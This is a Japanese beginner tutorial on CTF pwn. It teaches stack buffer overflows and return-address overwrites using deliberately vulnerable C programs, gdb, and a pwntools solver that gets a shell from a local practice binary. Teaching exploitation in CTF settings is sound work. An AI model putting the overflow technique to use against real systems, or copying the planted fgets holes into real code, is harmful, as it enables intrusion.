(CTF) Pwn入門

# Pwn入門
どうもPwn初心者です．

この記事では`pwn`に入門し，`CTF`の問題を解きながら`return address`を上書きできるようになることを目標とします．
`return address`を上書きできるようになれば，`pwn`の超基本的な部分が分かるようになると思います．

`return address`等の用語もできるだけ解説するつもりなのでぜひ暇な人は入門してってください．

誤り等に気づいた方は連絡いただけると助かります．

この記事は，[東京高専プロコンゼミ① Advent Calendar 2023](https://adventar.org/calendars/8825)の記事です！良ければほかの人の記事も読んでみてください！

### 環境
- x86_64のLinux系(debian)の環境を想定
- コンパイラはgccを想定

Windowsをお使いの方はWSLを使うといいと思います．

:::note warn
環境
ここではx86_64（大体のPCはこのCPU）向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります．
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう．

https://qiita.com/iwa_gino/items/11aaffa9e49f2fc423d0
:::


コンパイラについてバージョンが違うとすこし相違があるかもしれませんが多分問題ないと思います．
一応投稿者のバージョンを張っておきます．
```
gcc version 13.2.0 (Debian 13.2.0-4)
```

gccが入っていない場合installしてください．
```sh
sudo apt install build-essential
```


# 第0章 CTFとはPwnとは
### CTFとは
CTFとはセキュリティの大会です。問題サーバーの脆弱性をついたり，問題ファイルを解析することでFlagと呼ばれる文字列を入手するゲームのようなものです．

```:Flag
Flag{HE110_PWN4b1e}
```

- 暗号を復号したり (Crypto)
- 鯖で動いているアプリの脆弱性をついて鯖に侵入したり (Pwnable)
- Webアプリの脆弱性を見つけて機密情報を得たり (Web)
- 渡されたファイルを解析したり (Reversing)

とセキュリティとコンピュータの総合的な力が問われる大会のことです.

CTFは企業や個人が開催していて世界中でほぼ毎週CTFが開催されています．

https://ctftime.org/

### イベント型のCTF
CTFといば基本的にイベント型のCTFのことを指すと思います．
時間制限があり，その時間内に解けた問題のポイントで他プレイヤーと競い合います．

以下イメージ画像
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/6085502d-9512-6dbb-7ebe-4ef1025293af.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/dd0f12af-12bc-2dc4-01d1-1416d51e8d38.png)


#### 例
- SECCON Beginners CTF
日本国内ではおそらく最大の初心者向けのイベント型のCTF

https://www.seccon.jp/2023/seccon_beginners/content.html

このイベント型CTFの予定は以下のページやCTFやってそうな人をフォローしておけば知ることができます．

https://ctftime.org/


### 常設CTF
その名の通りいつでも問題を解けるCTFです．

#### 例
- picoCTF
初心者向けの常設CTFとして`picoCTF`があります
https://play.picoctf.org/practice

イメージ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/5443197a-a078-8944-b00a-a9e0a95ec42b.png)




### Pwnとは
`Pwnable(Pwn)`はCTFで出される問題のカテゴリの一つです．（`picoCTF`では`Binary Exploitation`と呼ばれている．）

主にLinux向けにビルドされた脆弱性を持ったアプリがサーバーで動いており，そのアプリの脆弱性を突いて，サーバーを乗っ取る問題です．

簡単なCTFでは普通，`実行形式のバイナリ`と`そのソースコード`そして`実際の鯖の情報(アドレスとポート)`が配布されます．

問題を解く手順は以下の通りです．
- 配布ファイルを見て，脆弱性を見つける
- 脆弱性を突いて攻撃するプログラム(ソルバー)を作る
- ソルバーを実行しサーバーを乗っ取り`FLAG`を取得する

# 第1章 簡単なスタックバッファオーバーフロー

CTFとは，Pwnとはなにか，なんとなく理解したところで，さっそくPwnに入門していきましょう．

まず基本の脆弱性`stack buffer overflow`の簡単な問題を解いていきましょう．


```c:p1.c
#include <stdio.h>
#include <stdlib.h>

int main() {
	char a = 0xaa;
	char buf[10] = {0};

	printf("a: %p \nb: %p\n", &a, buf);
	printf("What's your name: ");

	fgets(buf, 20, stdin);

	if (a != (char)0xaa) {
		system("/bin/sh");
	}

	printf("HELLO CTF!, %s\n", buf);
	return 0;
}
```
x86_64のLinux系(debian)の環境で以下のコマンドでコンパイルしてください．
Windowsをお使いの方はWSLを使うといいと思います．
```
gcc -o p1 p1.c 
```

またgccが入っていないときはinstallしてください．
```sh
sudo apt install build-essential
```

:::note warn
環境
ここではx86_64（大体のPCはこのCPU）向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります．
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう．

https://qiita.com/iwa_gino/items/11aaffa9e49f2fc423d0
:::

<br>

実行するとローカル変数のアドレスが表示され，名前を聞かれます．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7433d5d9-9f39-0608-a437-4b74b5d40cb6.png)

ソースコードを読めばわかる通り`fgets`でユーザーからの入力を`buf`に最大で20文字書き込んでいます．

```c
	fgets(buf,20,stdin); // ユーザの入力を最大20文字bufに入れる
```

ここで`buf`の定義を見てみましょう

```c
	char buf[10];
```

おやおかしいですね．`buf`は最大**10文字**しか格納できませんが，`fgets`で**20文字**書き込めてしまいます．(null文字を含めて

どうなるのでしょうか．10文字は`buf`に入れられるとして，**あふれた10文字はどうなるのでしょうか？**

とりあえず10文字以上入力してみましょう．
```
a: 0x7ffd98bbb47f
b: 0x7ffd98bbb475
What's your name: 0123456789a
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/b7ef8534-621b-d1a1-46a6-6a0c2e547c92.png)
するとどうでしょう．シェルが取れましたね．

これは`b`からあふれた文字によって`a`の値が上書きされてしまったためです．

## 解説
これをより鮮明に理解するためにはまず**ローカル変数がどこに保存されるのか**について理解する必要があります．

### ローカル変数の行方
まずローカル変数とは関数の中で定義されている`static`でない変数のことです．

```c:例ex1
#include <stdio.h>

int main(){
    int a; // ローカル変数
    int b[10]; // ローカル変数
    const int c = 2; // ローカル変数

    static int d = 3; // not ローカル変数

    printf("hello");
    return;
}
```

ではこのローカル変数はどこに保存されているのでしょうか．

#### スタック
実はローカル変数は`スタック`と呼ばれるメモリ領域に保存されます.
例えば問題のプログラムのローカル変数は示す図のようにスタックに保存されます．

```c:p1のローカル変数
int main(){
	char a = 0xaa;
	char buf[10] = {0};
/// 以下略
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/e0997da0-0a93-5a6c-bd31-e693f0780468.png)

このようにローカル変数はスタックと呼ばれるメモリ領域に積むようにおかれていきます．

とりあえず今はスタックというメモリ領域にローカル変数は置かれているというのをイメージすればいいです．

### あふれた文字はどこに行くのか
ローカル変数がどこに保存されるのか分かったところで，次にあふれた文字はどこに行ってしまうのかについて考えてみましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c617a314-7d1c-b1a0-212e-615a392cf14e.png)

ここで重要なのは配列にどの順番でデータが入っていくのかです．
実は上の図の通り配列には上から下にデータが入っていきます．
なので例えば以下のように文字を入力したときは下の図のようになります．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/d4da95c8-b9e7-3930-8101-ba07031b1028.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/0a5795a9-9e5a-104c-5243-db66cb5d43f8.png)


ではあふれるだけ文字を入力したらどうなるでしょうか．
上の図の通り`fgets()`は改行と終端文字，合わせて2文字分を自動で入れてくれます．（指定した文字数内の場合.詳しくはhttps://www.ibm.com/docs/ja/i/7.3?topic=functions-fgets-read-string）

なので9文字を入力し改行すると(`9文字`+'\n'+'\0')で11文字．これで`buf`からあふれる文字数がfgetsで入ってしまいます．この場合どうなるでしょうかやってみましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/54360f8d-ffd8-495b-fc7d-b2cfb6e9c8c8.png)

シェルが取れました．この時のスタックは以下の通り．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/10702189-b25a-90e0-e109-dc198bbadff4.png)


そうです実は溢れてしまうと，この通りその分だけ別のデータが上書きされてしまうのです．

これにより変数`a`の値が0(終端文字は0)になり，問題コード中の以下の条件を満たすようになり，`system("/bin/sh");`が呼ばれるのです．

```c:p1.c
	if (a != (char)0xaa) {
		system("/bin/sh");
	}
```

「スタックにあるバッファが溢れてしまう」この脆弱性を`スタックバッファオーバーフロー`と言い，スタック上にあるデータを書き換えることができてしまうのです！


```:ご褒美のフラグ((((???
flag{yattane!stack_buffer_overflow}
```

# 第2章 リターンアドレスってなんだろう
この入門での最終目的は，この`リターンアドレス`を第1章で理解した，`スタックバッファオーバーフロー`で上書きすることです．

ですので次はこの`リターンアドレス`とは何かについて学んでいきましょう．

**まず，リターンアドレスとは，`call`命令を実行したときに，スタックに`push`されるアドレスです．**（これがわかっていればこの章は多分飛ばして問題ないです．）

わからない場合，その前に本当に少しだけアセンブリについて学んでいきましょう．

## アセンブリ
少しだけアセンブリについて学んでいきましょう．
今は完璧に理解しなくてもいいので軽く読んでください．

簡単にしか説明しないのでもっと知りたい人はこの節の下にわかりやすいアセンブリの資料を張っているのでそこを見るといいと思います．

### アセンブリとは
コンパイルすると実行するためのファイルが生成されますね．（この画像のp1が実行するためのファイル）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/e65f57bc-325a-6fac-c3bf-9410f523376d.png)

大雑把に言うとそれは機械語というCPUが実行できる命令の集まりになっています．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7f8ffaa0-ebfa-9284-05e2-41877dc44ef4.png)

ですがこれは人間が読めるものではないです．なのでその機械語一つ一つに一対一で名前を付けてあげたのがアセンブリです．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/0a636b96-7b21-58db-c212-c110d020691d.png)

例えば先ほどコンパイルした`p1`のアセンブリを見るためには以下のコマンドを実行しましょう．
```
objdump -M intel -d p1
```

アセンブリが見えたはずです．このように機械語をアセンブリに変換することを逆アセンブルといいます．

### レジスタ
レジスタとはCPU内のメモリのことでいろんな演算に使われたり，関数に引数を渡す際に使用されたりします．
レジスタ一つ一つに名前がついています．

x86_64ではレジスタは8byte．（レジスタ一覧にあるようにそのレジスタの下位4byteなど一部を使うこともできる．）

レジスタ一覧．

https://www.jamieweb.net/info/x86_64-general-purpose-registers-reference/

一部のレジスタには役割があり，例えば
`RSP`というレジスタには，先ほどの`スタック`の一番上のアドレスが格納されます．
`RBP`は`スタック`の基準点として扱われます．

特に`RIP`というレジスタには，**次に実行する命令が保存されているメモリのアドレスが入っています**(重要)

### スタック
スタック領域とはメモリ領域のこと．特にスタック呼ばれるデータ構造のように扱われるのでスタックと呼ばれています．
[スタック(データ構造)](
https://atmarkit.itmedia.co.jp/icd/root/56/5783656.html#:~:text=%E3%82%B9%E3%82%BF%E3%83%83%E3%82%AF%20%EF%BC%88stack%EF%BC%89&text=%E6%9C%80%E5%BE%8C%E3%81%AB%E5%85%A5%E3%82%8C%E3%81%9F%E3%83%87%E3%83%BC%E3%82%BF,%E3%81%95%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%81%8C%E5%A4%9A%E3%81%84%E3%80%82)

スタックに関係するレジスタは以下の二つです．

- `rsp`レジスタ．スタックの先頭のアドレスが入っています
- `rbp`レジスタ．スタックの基準となるアドレスが入っています

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7cb868f5-f459-41ca-fb63-bc5ce79875ea.png)

`rbp`はスタックの基準点として使われます．
例えば`p1`を逆アセンブルしたものを見ると以下のように基準点`rbp`から-1の位置に`0xaa`を置いていることがわかります．`mov`命令は次の節を見てください．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c68a9914-3b3c-1d3d-ba4a-a16fb6b6fe1b.png)


また，スタックの先頭にデータを置く`push`，先頭からデータを取る`pop`という命令があり，スタックと呼ばれるデータ構造のようにスタック領域を使うことができます．(次の節を参照してください．


### 命令
たくさんの命令がありますが一部を紹介します．

#### mov
右の値を，左のメモリまたはレジスタに保存する．
```sh:例
mov rax, 0 # raxはレジスタの一つ
```
上の例では，`RAX`レジスタに`0`を代入している．

#### push
スタックに8byte分データを入れる．
```sh:例
push rax
```
例では，`RAX`レジスタに入っている値（8byte）をスタックの一番上に積む．
この時スタックの一番上が変わるため`RSP`も変わる.（rsp=rsp-8となる．

#### pop
スタックから8byte分データをとる．
```sh:例
pop rax
```
例では，スタックの一番上に積まれているデータ（つまりRSPがさすデータ）を`RAX`レジスタに入れる．
この時スタックの一番上が変わるため`rsp`も変わる.（rsp=rsp+8となる．
pushの逆．

#### call
関数を呼び出す．
```sh:例
call 0x1234 # 関数のアドレス
```
実際には`RIP`レジスタに関数のアドレスを入れて，スタックに`リターンアドレス`をpushしている．

#### ret
関数から出る．
```sh:例
ret
```
call命令と逆をやるようなものだと思えばわかりやすい．
スタックから`リターンアドレス`をpopしてripに入れる．（つまり`pop rip`

<br>

これだけわかればこの記事では問題ないはずです

### わかりやすいアセンブリの資料たち
わかりやすい資料を張っておきます．もっと知りたい，またはこの記事がよくわからなかったときはこれらの記事を見ましょう．とても分かりやすいです．
この記事では100%理解する必要はないのでこれらの資料を必要な時に見てください．

- 人間コンパイラコンテストのチュートリアル

https://github.com/Alignof/HCCC_Tutorial/tree/master

- x86のやつだけどわかりやすいやつ

https://doomo.main.jp/x86asm/

- レジスタ一覧

https://www.jamieweb.net/info/x86_64-general-purpose-registers-reference/


アセンブリについては以上の資料を見れば大体わかると思います．

一応投稿主が書いたわかりやすいかは謎の資料も張っておきます．

- 分かりやすいかわからんけど投稿主が書いたやつ

https://qiita.com/trimscash/items/650962221917d3e9ae71

## リターンアドレス
ついに本命リターンアドレスとは何かです．といっても上の節を理解していれば簡単なはずです．

**リターンアドレスとは，`call`命令を実行したときスタックに`push`されるアドレスです．**

では何のために存在するのでしょうか

### 何のためのリターンアドレス
**それは`ret`命令で`call`を実行した元の場所に戻るためです**

以下のようなプログラムを見てみましょう．

```c:ex2
#include <stdio.h>

int win() {
	printf("you win!\n");
	return 0;
}

int main() {
	printf("hello\n");
	win();
	return 0;
}
```

上のプログラムでは`main`関数で`win`関数を呼び出していますがどうやって`win`関数から`main`関数に戻るのでしょうか．`return 0;`を実行すれば戻るのはそうですが，**「どこに戻る」というのはどこに保存しているのでしょうか．**

そうですその，**どこに戻るのかを示しているのがリターンアドレス**なのです！
そしてそれは先ほども記したように**スタックに保存**されています！


一応，それが本当か確かめるべく`gdb`を使ってみましょう！
#### gdb 
`gdb`はデバッグするためのツールで，実際に動かしながら，プログラムの動作やスタックの様子などを見ることができます．
CTFでも確実に使います．ですがここでは使い方はほかの記事に任せます．

この記事中では使えなくても問題ないですが，pwnをやるなら絶対に，使えるようになる必要があるとおもいます．

`gdb`デバッガのセットアップ等は以下の記事で紹介しています．

https://qiita.com/trimscash/items/fa44dffa8e2a370316bd


では`gdb`で見ていきましょう．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a8f91bb0-3bb8-2893-b279-63154f6559c0.png)

上段がレジスタの状態，
中段が実行しているアセンブリの内容（矢印が次に実行する命令を示している），
下段がスタックの内容です．

プログラムを進めて`call win`を実行し`win`関数の中に入ります．スタックの変化に注目してください．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/136c818d-859b-edec-cc0e-9f523cf4235b.png)

するとどうでしょう．

スタックのところだけ切り取ると
これが
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/0005be39-d451-8458-5e7a-ebd1d91f4e81.png)

こうです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/ea97dfcc-d173-9821-1a88-9e83aff31644.png)

図にするとこうです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/75dedf71-c5b5-1145-5000-bc69aa2bd354.png)


確かにスタックに呼び出し元の`main`関数へのアドレスがスタックに入っていますね．

「やったー！リターンアドレスを理解したよ！」（投稿者が切望するみんなの声）

```:ご褒美のフラグ2((((???
flag{yattane!_return_address!!!!!!!}
```


# 第3章 リターンアドレスオーバーライト
リターンアドレスオーバーライト`return address overwrite`とはつまり最終目的であるリターンアドレスを上書きする攻撃のことです．

スタックにあるリターンアドレスをどうにかして上書きすることで`ret`命令を実行したときに任意の場所に処理を飛ばすことができるのです．

問題を解き実践していきましょう．
```c:p2.c
#include <stdio.h>
#include <stdlib.h>

int win() {
	asm volatile("mov $0,%spl");  // 問題簡単のためにここでrspを0x10境界にする．https://sok1.hatenablog.com/entry/2022/01/17/050710
	printf("you win!\n");
	system("/bin/sh");
	return 0;
}

int main() {
	char buf[16] = {0};

	printf("win: %p\n\n", win);
	printf("What's your name: ");

	fgets(buf, 100, stdin);

	printf("HELLO CTF!, %s\n", buf);
	return 0;
}
```
以上のプログラムを以下のコマンドでコンパイルしてください．
```
gcc -fno-stack-protector p2.c -o p2
```
ここでは問題を簡単にするため，コンパイラに`-fno-stack-protector`というオプションをつけています．

:::note warn
オプションについて

`-fno-stack-protector`はスタックにある値が上書きされたことを検知する`SSP`という仕組みを**無効**にするためのオプションです．
逆に，有効にするには`-fstack-protector`オプションで有効にできます．

`SSP(Stack Smashing Protector)`とは，リターンアドレスの前に`canary`と呼ばれる定数がセットされ，それが上書きされたら強制終了するというセキュリティ機構です．

今は簡単にするため無効化しているので，理解しなくても問題ないですが，CTFではこの`canary`をなんとかしてリークしたりすることが多いです．

https://qiita.com/GmS944y/items/b10a1abde35f7175ea4b

環境によって，`SSP`の有効無効のデフォルトが違うので，ここでは明示的に無効にしています．
デフォルトで有効かどうかは，以下のコマンドで確認できます．
```
gcc -v -E -x c - </dev/null 2>&1 | grep stack
```

:::

以下実行例
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/d8cc46ca-3bdc-b328-f47e-5e430742445e.png)

`win`関数を呼び出すことができれば勝ちですが、`main`では呼ばれていません。
どのようにして解いていくのか、問題を解いていきましょう．

```c:main
int main() {
	char buf[16] = {0};

	printf("win: %p\n\n", win);
	printf("What's your name: ");

	fgets(buf, 100, stdin);
 /////// 略
```
まずおかしな点があることに気づきましたか？そうですね．
なんと`buf`が16文字分の配列なのに，`fgets`で100文字も入れることができてしまいます！（第1章でやったとこだ！）

例の`スタックバッファオーバーフロー`があります！これで何かを上書きするのですが，さあ何でしょうか？

そうですね．`リターンアドレス`です．ではどこの`リターンアドレス`でしょうか？

<br>

実はそれは`main`関数のリターンアドレスです．

### mainのリターンアドレス．
実は`main`関数にもリターンアドレスがあります．gdbで確認してみましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a9ebe92a-1ed7-ee4f-76fd-f77e14b4fd95.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/120d3e4b-a54e-af87-6a1a-b1866ca82a04.png)


このようにmainにも戻る場所があり，mainも別の関数から呼び出されているのです．

https://atmarkit.itmedia.co.jp/ait/articles/1703/01/news173_3.html

ではやるべきことがわかりました．`バッファオーバーフロー`で`main`関数の`リターンアドレス`を`win`関数のアドレスで上書きしてしまえばいいのです．
すると`main`関数の`ret`が実行されたときに`win`が実行され勝利をつかむことができます！

では具体的にどう入力すれば`main`関数の`リターンアドレス`を上書きすることができるのでしょうか．

### スタックの状態
ここで`main`関数のスタックの状態を確認しましょう．

逆アセンブル結果の一部
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7d67a4e0-3ac4-f70b-d4fb-4bec6a462859.png)

このように，関数内ではまず`push rbp`でスタックに`rbp`の値が積まれていることがわかります．その後`sub rsp, 0x10`で`RSP`から0x10(16)分引いてスタックを上に伸ばして，buf[16]をのメモリを確保しています．（`sub`命令は引き算する命令，この場合．rsp=rsp-0x10

次に`gdb`で確認してみましょう．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a1a2d55a-bbee-ea86-ca76-14235ee789b7.png)
すると以上のように`リターンアドレス`が入っていることがわかります．これを図にすると以下の通り．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/4b29df79-9bb4-57cf-baef-73c7b64aa63d.png)

この図を見てわかるように，buf[0]から`リターンアドレス`までの距離は24bytesです．

つまり，24文字適当な文字を入力してから，`win`関数のアドレスを入力すると，`リターンアドレス`が`win`関数のアドレスに書き換わり，その状態で`main`関数の`ret`命令が実行されると，`win`関数を実行できる，というわけです！


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a23ff43d-f950-74c6-738b-247734ad22b3.png)

### 問題を解く
解き方がわかったので，実際に問題を解いていきましょう．

解き方をまとめると以下の通りです．
- win関数のアドレスを手に入れる
- 24文字適当に入力
- win関数のアドレスを入力


ここで，`win`関数のアドレスは実行するとプログラムが教えてくれます．（実行するたびに代わるので注意．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/b7b5f8ed-cb6c-8e5b-963a-2252576419cc.png)

:::note warn
win関数のアドレスについて（今は読まなくてもいいです）

`PIE`という実行形式になっていると毎回プログラムをメモリのランダムな位置にプログラムを配置するようになり，簡単には任意の場所に飛ばすことができなくなります．（デフォルトでPIEは有効なので今回の問題も関数アドレスが毎回変わる．）
https://miso-24.hatenablog.com/entry/2019/10/16/021321
https://qiita.com/0yoyoyo/items/85122f31ba8d14332e3d

ここ以外で問題を解く際に`PIE`かどうか判別するには
`checksec`というコマンドで確認しましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/122415a2-3cfa-127b-9399-d3366fa76a14.png)
:::

ではこの`win`関数のアドレスで上書きしたいのですが，**どうやって入力するのでしょうか**．．キーボードでは入力できませんし，毎回手打ちするのはめんどくさいですよね．

そこでpwnを解くときには良く，**問題を解くためのプログラム**が作られます．(このプログラムのことを`solver`と言ったりする．

そしてpwnを解くプログラムを書くときによく用いられるライブラリの1つに`Pwntools`というものがあります．

### Pwntools
`Pwntools`はpwnを解くためのsolverを書く際に使われるライブラリで，pythonのライブラリです．

以下のコマンドでインストールできます．
```sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
```

使い方についてはとても分かりやすい記事があるのでそれを都度確認しましょう．

https://qiita.com/8ayac/items/12a3523394080e56ad5a

では実際に`solver`を書いていきましょう!
まずライブラリを読み込み，`process()`でプロセスとやり取りできるようにします．
```python:solver.py
from pwn import *

io = process('./p2')
```

次に，実行した際に表示される`win`関数のアドレスを読み取るようにしていきましょう．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/b7b5f8ed-cb6c-8e5b-963a-2252576419cc.png)

```python:solver.py
win = io.readline() # プロセスの出力した文字列から，一行読み取る
win = win[5:-1] # win: と \n を取り除く
```

今，変数`win`は数字の文字列なのでintに変換しそしてそれをbytes型という型に変換してやります．

```python
win = int(win,16) # intに変換
win = p64(win) # p64でintをbytes型に変換
```

次に，24文字と`win`関数のアドレスを入力する処理を書きます．
```python
payload = b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)
```

最後に`io.interactive()`で双方向に入力出力できるようにします．

```python
io.interactive() # 対話モードに入る
```

できたsolverは以下の通り．

```python:solver.py
from pwn import *

io = process('./p2')

win = io.readline() # プロセスの出力した文字列から，一行読み取る
win = win[5:-1] # win: と \n を取り除く

win = int(win,16) # intに変換
win = p64(win) # p64でintをbytes型に変換

payload = b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)

io.interactive() # 対話モードに入る
```

実行してみましょう．
```sh
python3 solver.py
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/339d39fd-a408-6e91-e3ce-a99a0062bd6d.png)

`you win!`と表示されシェルが実行されました！！


ついに．．ついにやりましたね！！！（歓喜）


```:ご褒美のフラグ3((((???
flag{yatta~~!!pwn_pwn_pwn_pwn_ni_nyuumonda~~!!!omedetou!!}
```

やったね！！

# 最終章 これから
見事にリターンアドレスを上書きしてシェルを乗っ取ることができました！
この入門はここでおしまいです！

これからどうしましょう．なにをやるでもいいですが，例えば，今回の`p2`では簡単のために`-fno-stack-protector`というオプションでコンパイルしていました，それについて調べたり，`GDB`について調べたり，`x86_64`について学んだり．．本当にやれることはたくさんあると思います！

CTFは広く楽しくPWNだけでなく暗号や，Web系の問題などもあります！そちらに入門するもよし！pwnを深めるもよしです！

どちらにせよ，強くなるには**CTFに出続け，調べて，学ぶ**ということが必要不可欠です！

(調べる時は「〇〇ctf writeup」等で調べてると出てきます。)


<br>
この記事を読んでくれた皆様に，これからきっと楽しいCTFの毎日が待っていると願っています！



```:ご褒美のフラグ4((((???
flag{yatta~~!!th4nk_y0u_f0r_re4d14ng!!!}
```

# 感謝
拙い文章でしたが，読んでいただきありがとうございました！
この記事は，[東京高専プロコンゼミ① Advent Calendar 2023](https://adventar.org/calendars/8825)の記事です！良ければほかの人の記事も読んでみてください！！
さよなら！

https://adventar.org/calendars/8825